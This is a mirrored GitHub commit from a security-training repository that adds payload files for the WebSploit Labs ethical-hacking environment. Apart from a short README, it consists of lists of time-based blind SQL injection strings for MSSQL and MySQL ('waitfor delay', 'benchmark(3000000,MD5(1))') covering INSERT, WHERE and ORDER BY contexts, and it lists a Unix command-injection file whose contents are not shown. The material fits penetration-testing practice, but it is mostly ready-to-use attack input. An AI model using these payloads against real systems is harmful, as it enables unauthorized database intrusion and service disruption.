mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-24 20:03:02 +00:00
adding additional payloads
This commit is contained in:
parent
cd8234de3f
commit
6832e4a84d
15 changed files with 7911 additions and 0 deletions
4
more_payloads/README.md
Normal file
4
more_payloads/README.md
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
# A Collection of Miscellaneous Payloads for WebSploit Labs
|
||||||
|
This is a collection of different payloads for [WebSploit Labs](https://websploit.org/). [WebSploit Labs](https://websploit.org/) is a learning environment created by Omar Santos for different Cybersecurity Ethical Hacking (Web Penetration Testing) training sessions. WebSploit includes several intentionally vulnerable applications running in Docker containers on top of Kali Linux or Parrot Security OS, several additional tools, and over 8,000 cybersecurity resources. WebSploit comes with over 400 distinct exercises!
|
||||||
|
|
||||||
|
|
107
more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt
Normal file
107
more_payloads/SQLi/sql-blind-MSSQL-INSERT.txt
Normal file
|
@ -0,0 +1,107 @@
|
||||||
|
)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
')%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
')%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
")%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
")%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
))%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
))%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'))%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'))%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"))%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"))%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
|
||||||
|
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
|
41
more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt
Normal file
41
more_payloads/SQLi/sql-blind-MSSQL-WHERE.txt
Normal file
|
@ -0,0 +1,41 @@
|
||||||
|
|
||||||
|
waitfor delay '0:0:20' /*
|
||||||
|
waitfor delay '0:0:20' --
|
||||||
|
' waitfor delay '0:0:20' /*
|
||||||
|
' waitfor delay '0:0:20' --
|
||||||
|
" waitfor delay '0:0:20' /*
|
||||||
|
" waitfor delay '0:0:20' --
|
||||||
|
) waitfor delay '0:0:20' /*
|
||||||
|
) waitfor delay '0:0:20' --
|
||||||
|
)) waitfor delay '0:0:20' /*
|
||||||
|
)) waitfor delay '0:0:20' --
|
||||||
|
))) waitfor delay '0:0:20' /*
|
||||||
|
))) waitfor delay '0:0:20' --
|
||||||
|
)))) waitfor delay '0:0:20' /*
|
||||||
|
)))) waitfor delay '0:0:20' --
|
||||||
|
))))) waitfor delay '0:0:20' --
|
||||||
|
)))))) waitfor delay '0:0:20' --
|
||||||
|
') waitfor delay '0:0:20' /*
|
||||||
|
') waitfor delay '0:0:20' --
|
||||||
|
") waitfor delay '0:0:20' /*
|
||||||
|
") waitfor delay '0:0:20' --
|
||||||
|
')) waitfor delay '0:0:20' /*
|
||||||
|
')) waitfor delay '0:0:20' --
|
||||||
|
")) waitfor delay '0:0:20' /*
|
||||||
|
")) waitfor delay '0:0:20' --
|
||||||
|
'))) waitfor delay '0:0:20' /*
|
||||||
|
'))) waitfor delay '0:0:20' --
|
||||||
|
"))) waitfor delay '0:0:20' /*
|
||||||
|
"))) waitfor delay '0:0:20' --
|
||||||
|
')))) waitfor delay '0:0:20' /*
|
||||||
|
')))) waitfor delay '0:0:20' --
|
||||||
|
")))) waitfor delay '0:0:20' /*
|
||||||
|
")))) waitfor delay '0:0:20' --
|
||||||
|
'))))) waitfor delay '0:0:20' /*
|
||||||
|
'))))) waitfor delay '0:0:20' --
|
||||||
|
"))))) waitfor delay '0:0:20' /*
|
||||||
|
"))))) waitfor delay '0:0:20' --
|
||||||
|
')))))) waitfor delay '0:0:20' /*
|
||||||
|
')))))) waitfor delay '0:0:20' --
|
||||||
|
")))))) waitfor delay '0:0:20' /*
|
||||||
|
")))))) waitfor delay '0:0:20' --
|
90
more_payloads/SQLi/sql-blind-MySQL-INSERT.txt
Normal file
90
more_payloads/SQLi/sql-blind-MySQL-INSERT.txt
Normal file
|
@ -0,0 +1,90 @@
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
|
||||||
|
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
|
18
more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt
Normal file
18
more_payloads/SQLi/sql-blind-MySQL-ORDER_BY.txt
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||||
|
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||||
|
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||||
|
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||||
|
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
||||||
|
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
|
||||||
|
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
|
||||||
|
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
|
45
more_payloads/SQLi/sql-blind-MySQL-WHERE.txt
Normal file
45
more_payloads/SQLi/sql-blind-MySQL-WHERE.txt
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
' and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
' and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
' and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
" and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
" and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
" and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
)) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
)) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
)) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
)))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
)))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
)))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
') and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
') and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
') and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
") and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
") and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
") and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
')) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
')) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
')) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
")) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
")) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
")) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
'))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
'))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
'))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
"))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
"))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
"))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
')))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
')))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
')))) and 0=benchmark(3000000,MD5(1))%20%23
|
||||||
|
")))) and 0=benchmark(3000000,MD5(1))%20/*
|
||||||
|
")))) and 0=benchmark(3000000,MD5(1))%20--
|
||||||
|
")))) and 0=benchmark(3000000,MD5(1))%20%23
|
102
more_payloads/command_injection_unix.txt
Normal file
102
more_payloads/command_injection_unix.txt
